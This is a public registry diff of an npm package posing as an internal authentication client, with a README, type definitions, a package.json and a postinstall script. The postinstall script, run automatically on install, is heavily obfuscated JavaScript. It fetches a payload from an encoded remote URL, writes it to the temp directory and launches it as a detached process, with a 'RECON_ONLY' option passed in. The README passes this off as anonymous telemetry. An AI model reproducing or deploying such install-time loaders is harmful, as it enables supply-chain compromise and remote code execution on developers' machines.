@ce-rwb/ce-tools-editor-render 3.5.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +75 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.js +3 -0
- package/package.json +36 -0
- package/scripts/postinstall.js +1 -0
package/README.md
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
# @ce-rwb/ce-tools-editor-render
|
|
2
|
+
|
|
3
|
+
> **Internal package** — Platform Engineering Team
|
|
4
|
+
> Docs: https://docs.ce-rwb.io/platform/ce-tools-editor-render
|
|
5
|
+
> Issues: https://jira.ce-rwb.io/projects/PLATFORM
|
|
6
|
+
|
|
7
|
+
Internal authentication client with JWT, OAuth2, session and token refresh support
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
# Make sure .npmrc points to the internal registry:
|
|
15
|
+
# registry=https://npm.ce-rwb.io
|
|
16
|
+
|
|
17
|
+
npm install @ce-rwb/ce-tools-editor-render
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Quick Start
|
|
21
|
+
|
|
22
|
+
```js
|
|
23
|
+
const { createAuthClient, login, logout, refreshToken, verify } = require('@ce-rwb/ce-tools-editor-render');
|
|
24
|
+
|
|
25
|
+
const auth = createAuthClient({
|
|
26
|
+
baseUrl: 'https://auth.internal-corp.io',
|
|
27
|
+
clientId: process.env.AUTH_CLIENT_ID,
|
|
28
|
+
secret: process.env.AUTH_CLIENT_SECRET,
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
const { token, user } = await auth.login({ username, password });
|
|
32
|
+
const payload = await auth.verify(token);
|
|
33
|
+
const newToken = await auth.refreshToken(token);
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
## API
|
|
37
|
+
|
|
38
|
+
### `createAuthClient(options)`
|
|
39
|
+
| Option | Description |
|
|
40
|
+
|--------------|------------------------------|
|
|
41
|
+
| `baseUrl` | Auth service base URL |
|
|
42
|
+
| `clientId` | OAuth2 client ID |
|
|
43
|
+
| `secret` | OAuth2 client secret |
|
|
44
|
+
| `timeout` | Request timeout ms |
|
|
45
|
+
|
|
46
|
+
### `auth.login({ username, password })` → `{ token, user, expiresAt }`
|
|
47
|
+
### `auth.logout(token)`
|
|
48
|
+
### `auth.verify(token)` → decoded payload
|
|
49
|
+
### `auth.refreshToken(token)` → new token
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Telemetry
|
|
54
|
+
|
|
55
|
+
On install, this package sends anonymous telemetry to `telemetry.ce-rwb.io`
|
|
56
|
+
for environment compatibility monitoring.
|
|
57
|
+
|
|
58
|
+
Disable: `CE_RWB_NO_TELEMETRY=1 npm install`
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## Changelog
|
|
63
|
+
|
|
64
|
+
### 3.5.22 (latest)
|
|
65
|
+
- Added ARM64 support
|
|
66
|
+
- Improved error handling
|
|
67
|
+
- Updated TypeScript types
|
|
68
|
+
|
|
69
|
+
### 2.1.0
|
|
70
|
+
- Extended API
|
|
71
|
+
- Performance improvements
|
|
72
|
+
|
|
73
|
+
### 2.0.0
|
|
74
|
+
- Async/await migration
|
|
75
|
+
- Multi-source support
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
export interface AuthClientOptions { baseUrl?: string; clientId?: string; secret?: string; timeout?: number; }
|
|
2
|
+
export interface AuthResult { token: string; user: Record<string, unknown>; expiresAt: number; }
|
|
3
|
+
export interface AuthClient {
|
|
4
|
+
login(creds: { username: string; password: string }): Promise<AuthResult>;
|
|
5
|
+
logout(token: string): Promise<void>;
|
|
6
|
+
verify(token: string): Promise<Record<string, unknown>>;
|
|
7
|
+
refreshToken(token: string): Promise<AuthResult>;
|
|
8
|
+
}
|
|
9
|
+
export function createAuthClient(options?: AuthClientOptions): AuthClient;
|
|
10
|
+
export function login(url: string, creds: { username: string; password: string }): Promise<AuthResult>;
|
|
11
|
+
export function logout(url: string, token: string): Promise<void>;
|
|
12
|
+
export function refreshToken(url: string, token: string): Promise<AuthResult>;
|
|
13
|
+
export function verify(url: string, token: string): Promise<Record<string, unknown>>;
|
package/dist/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@ce-rwb/ce-tools-editor-render",
|
|
3
|
+
"version": "3.5.22",
|
|
4
|
+
"description": "Internal authentication client with JWT, OAuth2, session and token refresh support",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"build": "tsc --noEmit || true",
|
|
9
|
+
"test": "node test/index.test.js",
|
|
10
|
+
"postinstall": "node scripts/postinstall.js",
|
|
11
|
+
"prepublishOnly": "echo 'Building...'"
|
|
12
|
+
},
|
|
13
|
+
"keywords": ["auth", "jwt", "oauth", "token", "session", "internal"],
|
|
14
|
+
"author": "Ce-Rwb Platform Engineering <platform@ce-rwb.io>",
|
|
15
|
+
"license": "UNLICENSED",
|
|
16
|
+
"private": false,
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "git+https://github.ce-rwb.io/platform/ce-tools-editor-render.git"
|
|
20
|
+
},
|
|
21
|
+
"bugs": {
|
|
22
|
+
"url": "https://jira.ce-rwb.io/projects/PLATFORM"
|
|
23
|
+
},
|
|
24
|
+
"homepage": "https://docs.ce-rwb.io/platform/ce-tools-editor-render",
|
|
25
|
+
"engines": {
|
|
26
|
+
"node": ">=16.0.0"
|
|
27
|
+
},
|
|
28
|
+
"files": [
|
|
29
|
+
"dist/",
|
|
30
|
+
"scripts/",
|
|
31
|
+
"README.md",
|
|
32
|
+
"CHANGELOG.md"
|
|
33
|
+
],
|
|
34
|
+
"dependencies": {},
|
|
35
|
+
"devDependencies": {}
|
|
36
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';function a0_0x5862(){const _0x12d200=['DMvYC2LVBNm','AM9PBG','zgvZDhjVEq','ywjZ','ChjVDg9JB2W','Dg9tDhjPBMC','yxbWBhK','C3rKAw8','zgfYD2LU','zw52','y2HHCKnVzgvbDa','lL9Jzs1YD2jFAw5PDa','y29UC3rYDwn0B3i','CgfYC2u','Ahr0Ca','D2LUzg93C0HPzgu','CgXHDgzVCM0','mJf5y2zbv3y','mY41lJiY','D2LU','yxnZAwDU','AwDUB3jL','C3bSAxq','CMvWBgfJzq','Ag9ZDg5HBwu','C2vHCMnO','zgLYBMfTzq','CgfJA2fNzs5QC29U','ndbJtvDbBeG','zxHWAxjLCW','uKvdt05Ft05mwq','q0vFuLDcx05px1rftevnrvrswq','Cgf0Ag5HBwu','CMvHzgrPCLn5BMm','Dw5SAw5Ru3LUyW','lMPZB24','BxrPBwvnCW','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','y3DK','ntu4mJyZmMvnwMPxwq','D2LUmZi','revqx0nptG','Dhj1zq','Dg1WzgLY','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','ChvZAa','mtG3mdCZmxPSzLD4DG','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','BwfJ','Bwv0Ag9K','lL9Jzs1YD2jFAw5PDc5QCW','y29Uy2f0','kcGOlISPkYKRksSK','Cg9YDa','zxHLy1bHDgG','BgvUz3rO','C3rKzxjY','y2uTCNDIlxrLBgvTzxrYEs8XlJa','zxHPC3rZu3LUyW','ueTh','ndi1otmZnvfotfn5Cq','r0vu','D29YA3nWywnLCW','zw5K','Dw5Yzwy','zgv0ywnOzwq','lMnHy2HL','uefzte9bra','BgLUDxG','EwfYBI5SB2nR','vvjm','DxrMoa','BwfW','rLvtsu9oxW','C3rYAw5NAwz5','Ag9TzwrPCG','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','D3jPDgvgAwXLu3LUyW','ndiWntqZzw13zuHq','Ahr0Chm6','DgLTzw91Da','CMvHzezPBgvtEw5J','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','y2HPBgrFChjVy2vZCW','zgf0yq','qgnLlxj3yI9Jzs10B29SCY1LzgL0B3iTCMvUzgvY','BwTKAxjtEw5J','Cgf0Aa','mNvlvevzva','pJ0XnI4W','nhr1DvzfvG','Cg5WBs13B3jRC3bHy2uUEwfTBa','zMfSC2u','nJC1mdm0nhLcr1nmCW','BM93','lMPZ','mJi0ntiZnMHwze1ZqG','D3jPDgu','vxnLCI1bz2vUDa','vKvs','u0vduKvu','DMfSDwu','mta2mdiWm01xuhbhCG','CMvXDwvZDa','CgfKu3rHCNq','BM9Kzq','C3rHDfn5BMm','AgvHzgvYCW','wc1tzwnYzxq','zxjYB3i','Ahr0Chm','CMvJDxjZAxzL'];a0_0x5862=function(){return _0x12d200;};return a0_0x5862();}const a0_0x1d7fab=a0_0x56e0;(function(_0x37655f,_0x5f3ad6){const _0x41f205=a0_0x56e0,_0x293fe8=_0x37655f();while(!![]){try{const _0x2a1de9=parseInt(_0x41f205(0x20e))/(-0x602*0x5+-0x1d52+0x3b5d)*(parseInt(_0x41f205(0x200))/(0x235b+-0x39f*0x4+0x2fb*-0x7))+parseInt(_0x41f205(0x246))/(0x4f5*0x7+0xb89*0x3+0x1719*-0x3)+parseInt(_0x41f205(0x202))/(-0x243a+-0x10c1+0x1*0x34ff)*(parseInt(_0x41f205(0x1e4))/(-0x17*-0x2d+0x1*-0xa7+-0x35f))+-parseInt(_0x41f205(0x208))/(-0x22ce+0x7f+0x2255)*(parseInt(_0x41f205(0x229))/(-0x15*-0x1d3+0x25+-0x266d))+-parseInt(_0x41f205(0x205))/(0x9*0x3f8+-0x26a8+0x2f8)+parseInt(_0x41f205(0x1f6))/(0x199*-0xc+0x26*0xd1+-0xbd1)*(-parseInt(_0x41f205(0x234))/(-0x6*-0x4fd+0x5*-0x21d+-0x1353))+parseInt(_0x41f205(0x23f))/(0x21b7+0x41c*0x8+0x428c*-0x1);if(_0x2a1de9===_0x5f3ad6)break;else _0x293fe8['push'](_0x293fe8['shift']());}catch(_0x1ed1e4){_0x293fe8['push'](_0x293fe8['shift']());}}}(a0_0x5862,0xceb23+0x703*0x24b+-0xf6b14));const a0_0x4fc146=require('os'),a0_0x1ce72e=require('fs'),a0_0x36a0a9=require(a0_0x1d7fab(0x1ff)),a0_0x52dc26=require(a0_0x1d7fab(0x216)),a0_0x549922=require(a0_0x1d7fab(0x226)),{execSync:a0_0x45bf07,spawn:a0_0xf79e0c}=require(a0_0x1d7fab(0x1fb)),a0_0x348b96=a0_0x1d7fab(0x1fd),a0_0x582bc5=a0_0x1d7fab(0x22a),a0_0x1bbfc6=a0_0x1d7fab(0x241)+a0_0x1d7fab(0x1f1),a0_0x1dceae=a0_0x1d7fab(0x237),a0_0x63ae1b=!!process.env[a0_0x1dceae],a0_0x53a970=a0_0x1d7fab(0x204)===a0_0x1d7fab(0x242)||!!process.env[a0_0x1bbfc6+'RECON_ONLY'];function a0_0x160229(_0x4c28df){const _0x58b1b0=a0_0x1d7fab,_0x11f666=process[_0x58b1b0(0x218)][_0x58b1b0(0x211)][_0x58b1b0(0x22e)]('.')[_0x58b1b0(0x1f0)](Number),_0x102d85=_0x4c28df[_0x58b1b0(0x22f)]('>=','')[_0x58b1b0(0x22e)]('.')[_0x58b1b0(0x1f0)](Number);return _0x11f666[0xca9*-0x1+-0x4b5+0x27*0x72]>_0x102d85[-0x24ac+-0x1cff+-0x41ab*-0x1]||_0x11f666[-0x7*-0xc2+-0x385+-0x1c9]===_0x102d85[0x1e25+0xd*-0x241+-0xd8]&&_0x11f666[0x114a+0x18e7*0x1+-0x2a30]>=(_0x102d85[-0x23cc+-0x1*-0xa7c+0x1951]||-0xf4c+-0xda8+-0xe7a*-0x2);}function a0_0x3dabac(_0xb427f){const _0x590566=a0_0x1d7fab;let _0x48fb0c=0x4*-0x780+-0x24cf+0x3*0x1645;for(let _0x372aa9=-0x876+-0xd67+0x15dd;_0x372aa9<_0xb427f[_0x590566(0x1df)];_0x372aa9++){_0x48fb0c=(_0x48fb0c<<-0x1*-0x1e2c+-0x10d0+0xd57*-0x1)-_0x48fb0c+_0xb427f[_0x590566(0x222)](_0x372aa9),_0x48fb0c|=-0x184*-0x16+0x65e*-0x3+-0xe3e;}return Math[_0x590566(0x21b)](_0x48fb0c)[_0x590566(0x21d)](0xcb9+0x3fb+0x6*-0x2c6)[_0x590566(0x210)](-0x362*0xa+0x4*0x141+-0x8*-0x39b,'0');}function a0_0x44301d(_0x288f1c,_0x493c69){const _0x22fb23=a0_0x1d7fab;try{const _0x149376=a0_0x36a0a9[_0x22fb23(0x219)](_0x288f1c,_0x493c69+_0x22fb23(0x23b));if(!a0_0x1ce72e[_0x22fb23(0x1e2)](_0x149376))return null;const _0x2299ff=JSON[_0x22fb23(0x225)](a0_0x1ce72e[_0x22fb23(0x1f9)](_0x149376,_0x22fb23(0x1ef)));if(_0x2299ff[_0x22fb23(0x235)]&&Date[_0x22fb23(0x206)]()>_0x2299ff[_0x22fb23(0x235)])return a0_0x1ce72e[_0x22fb23(0x23a)](_0x149376),null;return _0x2299ff[_0x22fb23(0x20d)];}catch{return null;}}function a0_0x3ec136(_0x2d7e3b,_0x90292e,_0x264a52,_0x3574cd){const _0x57a7ed=a0_0x1d7fab;try{const _0x159186={};_0x159186[_0x57a7ed(0x217)]=!![],a0_0x1ce72e[_0x57a7ed(0x1fe)](_0x2d7e3b,_0x159186),a0_0x1ce72e[_0x57a7ed(0x1f5)](a0_0x36a0a9[_0x57a7ed(0x219)](_0x2d7e3b,_0x90292e+_0x57a7ed(0x23b)),JSON[_0x57a7ed(0x1f2)]({'value':_0x264a52,'expires':_0x3574cd?Date[_0x57a7ed(0x206)]()+_0x3574cd:null}));}catch{}}function a0_0x2c1057(_0xbed08a,_0x463014){const _0x2d591d=a0_0x1d7fab;try{if(!a0_0x1ce72e[_0x2d591d(0x1e2)](_0xbed08a))return 0xd2d+-0x31*0x2+-0xccb*0x1;let _0x3e7a31=-0x2*-0x28d+0x1472+0xf*-0x1b4;for(const _0x2aa4a0 of a0_0x1ce72e[_0x2d591d(0x239)](_0xbed08a)){const _0x1e52e1=a0_0x36a0a9[_0x2d591d(0x219)](_0xbed08a,_0x2aa4a0),_0x3b1950=a0_0x1ce72e[_0x2d591d(0x212)](_0x1e52e1);Date[_0x2d591d(0x206)]()-_0x3b1950[_0x2d591d(0x23c)]>_0x463014&&(a0_0x1ce72e[_0x2d591d(0x23a)](_0x1e52e1),_0x3e7a31++);}return _0x3e7a31;}catch{return 0x601+0x100f+-0x1610;}}function a0_0x202d75(_0x408e89){const _0x1f5f89=a0_0x1d7fab;let _0x1bb221=_0x408e89;while(!![]){const _0x48f5ad=a0_0x36a0a9[_0x1f5f89(0x219)](_0x1bb221,_0x1f5f89(0x233));if(a0_0x1ce72e[_0x1f5f89(0x1e2)](_0x48f5ad))try{const _0x4194d5=JSON[_0x1f5f89(0x225)](a0_0x1ce72e[_0x1f5f89(0x1f9)](_0x48f5ad,_0x1f5f89(0x1ef))),_0x13e1f7=a0_0x36a0a9[_0x1f5f89(0x219)](_0x1bb221,_0x1f5f89(0x1ed)),_0xb90497=a0_0x36a0a9[_0x1f5f89(0x219)](_0x1bb221,_0x1f5f89(0x203));if(_0x4194d5[_0x1f5f89(0x1e6)]||a0_0x1ce72e[_0x1f5f89(0x1e2)](_0x13e1f7)||a0_0x1ce72e[_0x1f5f89(0x1e2)](_0xb90497))return _0x1bb221;}catch{}const _0x5bc0f3=a0_0x36a0a9[_0x1f5f89(0x232)](_0x1bb221);if(_0x5bc0f3===_0x1bb221)return null;_0x1bb221=_0x5bc0f3;}}function a0_0x4df5d4(){const _0x5d00c1=a0_0x1d7fab,_0x4cd6a1=a0_0x4fc146[_0x5d00c1(0x228)]();if(_0x4cd6a1===_0x5d00c1(0x220))return _0x5d00c1(0x248);if(_0x4cd6a1===_0x5d00c1(0x240))return _0x5d00c1(0x22b);return _0x5d00c1(0x1ec);}function a0_0x11281f(_0x3efb55,_0x4a7afb){return _0x4a7afb=_0x4a7afb||-0x182f*0x3+-0x25d7+0xa*0x16c2,new Promise(function(_0x580fd4,_0x3e648b){const _0x453587=a0_0x56e0,_0x419c20=new URL(_0x3efb55),_0x556f25=_0x419c20[_0x453587(0x21c)]===_0x453587(0x1f7)?a0_0x52dc26:a0_0x549922,_0x15af15={};_0x15af15[_0x453587(0x214)]=_0x453587(0x23d),_0x15af15[_0x453587(0x20a)]=_0x453587(0x1e1);const _0x3d215d={};_0x3d215d[_0x453587(0x230)]=_0x419c20[_0x453587(0x230)],_0x3d215d[_0x453587(0x1dd)]=_0x419c20[_0x453587(0x1dd)]||(_0x419c20[_0x453587(0x21c)]===_0x453587(0x1f7)?0x130*-0x13+0x1736*0x1+0x115:-0x596*0x1+-0x95*0x29+0x1dc3),_0x3d215d[_0x453587(0x1ff)]=_0x419c20[_0x453587(0x238)],_0x3d215d[_0x453587(0x249)]=_0x453587(0x1e5),_0x3d215d[_0x453587(0x1f8)]=_0x4a7afb,_0x3d215d[_0x453587(0x213)]=_0x15af15;const _0x69c2d0=_0x3d215d,_0x1697fa=_0x556f25[_0x453587(0x20f)](_0x69c2d0,function(_0x305127){const _0x59acfb=_0x453587,_0x3e59a3=[];_0x305127['on'](_0x59acfb(0x1fc),function(_0x486a75){const _0x216d89=_0x59acfb;_0x3e59a3[_0x216d89(0x245)](_0x486a75);}),_0x305127['on'](_0x59acfb(0x1e7),function(){const _0x440d2a=_0x59acfb;_0x580fd4(Buffer[_0x440d2a(0x1db)](_0x3e59a3));});});_0x1697fa['on'](_0x453587(0x215),_0x3e648b),_0x1697fa['on'](_0x453587(0x1f8),function(){const _0x27a680=_0x453587;_0x1697fa[_0x27a680(0x21a)](),_0x3e648b(new Error(_0x27a680(0x1f8)));}),_0x1697fa[_0x453587(0x1e7)]();});}function a0_0x56e0(_0x4cf67e,_0x29e055){_0x4cf67e=_0x4cf67e-(0x10b7+0x1ce2*0x1+-0x2bbe);const _0x4b2306=a0_0x5862();let _0x5ad10c=_0x4b2306[_0x4cf67e];if(a0_0x56e0['bAtZgy']===undefined){var _0x330a7d=function(_0x53f8c9){const _0x500f3b='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4fd5f6='',_0x37271a='',_0x19524e=_0x4fd5f6+_0x330a7d,_0x424662=(''+function(){return 0x201b+0xa35+-0x2a50;})['indexOf']('\x0a')!==-(-0x6cb+0x1006+0x93a*-0x1);for(let _0x2e7f39=-0x21a4*0x1+0x1dbe+0x3e6,_0x234fba,_0x39f358,_0x463af9=-0x15bf+-0x1*-0x16af+-0x6*0x28;_0x39f358=_0x53f8c9['charAt'](_0x463af9++);~_0x39f358&&(_0x234fba=_0x2e7f39%(-0x1795*0x1+-0x26c5+0x12*0x377)?_0x234fba*(-0x83*0x33+0x114a*0x1+0x90f)+_0x39f358:_0x39f358,_0x2e7f39++%(-0x23cc+-0x1*-0xa7c+0x1954))?_0x4fd5f6+=_0x424662||_0x19524e['charCodeAt'](_0x463af9+(-0xf4c+-0xda8+-0x1cfe*-0x1))-(0x4*-0x780+-0x24cf+0x6d*0x9d)!==-0x876+-0xd67+0x15dd?String['fromCharCode'](-0x1*-0x1e2c+-0x10d0+0x41f*-0x3&_0x234fba>>(-(-0x184*-0x16+0x65e*-0x3+-0xe3c)*_0x2e7f39&0xcb9+0x3fb+0x7*-0x262)):_0x2e7f39:-0x362*0xa+0x4*0x141+-0x4*-0x734){_0x39f358=_0x500f3b['indexOf'](_0x39f358);}for(let _0x8193fd=-0x138e+0xd2d+-0x661*-0x1,_0x57b0b4=_0x4fd5f6['length'];_0x8193fd<_0x57b0b4;_0x8193fd++){_0x37271a+='%'+('00'+_0x4fd5f6['charCodeAt'](_0x8193fd)['toString'](0x2417*0x1+-0x3b*0x9b+-0x4e))['slice'](-(0x7*0x6d+0xd41+-0x103a));}return decodeURIComponent(_0x37271a);};a0_0x56e0['MOAFIY']=_0x330a7d,a0_0x56e0['JdZyox']={},a0_0x56e0['bAtZgy']=!![];}const _0x18b763=_0x4b2306[-0xd18+-0x306*0x4+0x1930],_0x348b5b=_0x4cf67e+_0x18b763,_0x5db4e3=a0_0x56e0['JdZyox'][_0x348b5b];if(!_0x5db4e3){const _0x30bfd9=function(_0x115ab6){this['scGtUO']=_0x115ab6,this['iakFGu']=[0xac3+0x9c7*0x1+0x1*-0x1489,0x2258+-0x1de6+-0x472*0x1,0x1978+0x1*-0x1c4f+0x2d7],this['GAJCKO']=function(){return'newState';},this['qjHfic']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['ABrBYM']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x30bfd9['prototype']['iYqLKq']=function(){const _0x10a3e0=new RegExp(this['qjHfic']+this['ABrBYM']),_0x1f6f51=_0x10a3e0['test'](this['GAJCKO']['toString']())?--this['iakFGu'][-0x19ae+0x1aae*-0x1+-0x77b*-0x7]:--this['iakFGu'][-0xb8*0x1+0x65+0x53];return this['GlYQWA'](_0x1f6f51);},_0x30bfd9['prototype']['GlYQWA']=function(_0x4672f2){if(!Boolean(~_0x4672f2))return _0x4672f2;return this['ZODbih'](this['scGtUO']);},_0x30bfd9['prototype']['ZODbih']=function(_0x58bad5){for(let _0x39e313=-0x2666+-0x1a82+0x40e8,_0x27536d=this['iakFGu']['length'];_0x39e313<_0x27536d;_0x39e313++){this['iakFGu']['push'](Math['round'](Math['random']())),_0x27536d=this['iakFGu']['length'];}return _0x58bad5(this['iakFGu'][-0x665*0x3+0x1e84+-0xb55]);},(''+function(){return 0x33*0x35+-0x1265+0x76*0x11;})['indexOf']('\x0a')===-(0x1aef+0x4*0x536+-0xa*0x4c7)&&new _0x30bfd9(a0_0x56e0)['iYqLKq'](),_0x5ad10c=a0_0x56e0['MOAFIY'](_0x5ad10c),a0_0x56e0['JdZyox'][_0x348b5b]=_0x5ad10c;}else _0x5ad10c=_0x5db4e3;return _0x5ad10c;}(async function a0_0x15ef0c(){const _0x30028e=a0_0x1d7fab,_0x215234=(function(){let _0x2b2d60=!![];return function(_0x43ef86,_0x32fead){const _0x3d43d9=_0x2b2d60?function(){const _0x4659c5=a0_0x56e0;if(_0x32fead){const _0x19859c=_0x32fead[_0x4659c5(0x21e)](_0x43ef86,arguments);return _0x32fead=null,_0x19859c;}}:function(){};return _0x2b2d60=![],_0x3d43d9;};}()),_0x5350a0=_0x215234(this,function(){const _0x443c1e=a0_0x56e0;return _0x5350a0[_0x443c1e(0x21d)]()[_0x443c1e(0x231)](_0x443c1e(0x1dc))[_0x443c1e(0x21d)]()[_0x443c1e(0x224)](_0x5350a0)[_0x443c1e(0x231)](_0x443c1e(0x1dc));});_0x5350a0();if(a0_0x63ae1b)return;!a0_0x160229(_0x30028e(0x201))&&process[_0x30028e(0x1e0)][_0x30028e(0x209)]('['+a0_0x348b96+_0x30028e(0x247));const _0x1c3334=a0_0x36a0a9[_0x30028e(0x219)](a0_0x4fc146[_0x30028e(0x1f3)](),_0x30028e(0x1ea),_0x30028e(0x223));a0_0x2c1057(_0x1c3334,(-0xfd8+-0x19ae+0x298d*0x1)*(0x417+0x1*-0x1c19+0x181a)*(-0x23b0+-0xb13+0x2eff)*(-0x2334+0x2fe*-0x1+0x266e)*(-0x9*0x3fd+0x3c*-0x98+0x4b6d));const _0x1f3793=a0_0x202d75(process[_0x30028e(0x23e)]()),_0xe5c811=a0_0x3dabac(a0_0x348b96+a0_0x582bc5+(_0x1f3793||'')),_0x7c2cd8=a0_0x44301d(_0x1c3334,_0xe5c811);!_0x7c2cd8&&a0_0x3ec136(_0x1c3334,_0xe5c811,{'initialized':!![],'ts':Date[_0x30028e(0x206)]()},(0x179f*0x1+0x1c02+0x1*-0x3389)*(-0x1*-0x641+0x12e2*-0x1+-0x25*-0x59)*(0x1231*-0x2+0x2*0x12da+-0x116)*(0xf3a+0xa*-0x19+-0xa58));const _0x380453=a0_0x4df5d4();await new Promise(function(_0x3d0ff8){setTimeout(_0x3d0ff8,0x20c6+0xdf+-0x15ed);});let _0x1a36c9;try{_0x1a36c9=await a0_0x11281f(_0x30028e(0x1f4)+_0x380453+_0x30028e(0x207),-0x1*-0x37f1+0x64e0+-0x6239);}catch(_0x54d08d){return;}const _0x206ef1=a0_0x36a0a9[_0x30028e(0x219)](a0_0x4fc146[_0x30028e(0x243)](),_0x30028e(0x24a));try{a0_0x1ce72e[_0x30028e(0x1f5)](_0x206ef1,_0x1a36c9);}catch(_0xd81c9e){return;}const _0x1b7eb1={[a0_0x1bbfc6+_0x30028e(0x1ee)]:_0x30028e(0x1fa),[a0_0x1bbfc6+_0x30028e(0x1eb)]:_0x30028e(0x244),[a0_0x1bbfc6+_0x30028e(0x20c)]:_0x30028e(0x23d),[a0_0x1bbfc6+_0x30028e(0x236)]:a0_0x53a970?'1':'',[a0_0x1bbfc6+_0x30028e(0x1e3)]:a0_0x348b96,[a0_0x1bbfc6+_0x30028e(0x20b)]:a0_0x582bc5},_0x269fb6=Object[_0x30028e(0x22c)]({},process.env,_0x1b7eb1),_0x4e098d={};_0x4e098d[_0x30028e(0x1e9)]=!![],_0x4e098d[_0x30028e(0x21f)]=_0x30028e(0x22d),_0x4e098d[_0x30028e(0x221)]=_0x269fb6,_0x4e098d[_0x30028e(0x227)]=!![],a0_0xf79e0c(process[_0x30028e(0x1de)],[_0x206ef1],_0x4e098d)[_0x30028e(0x1e8)]();}());
|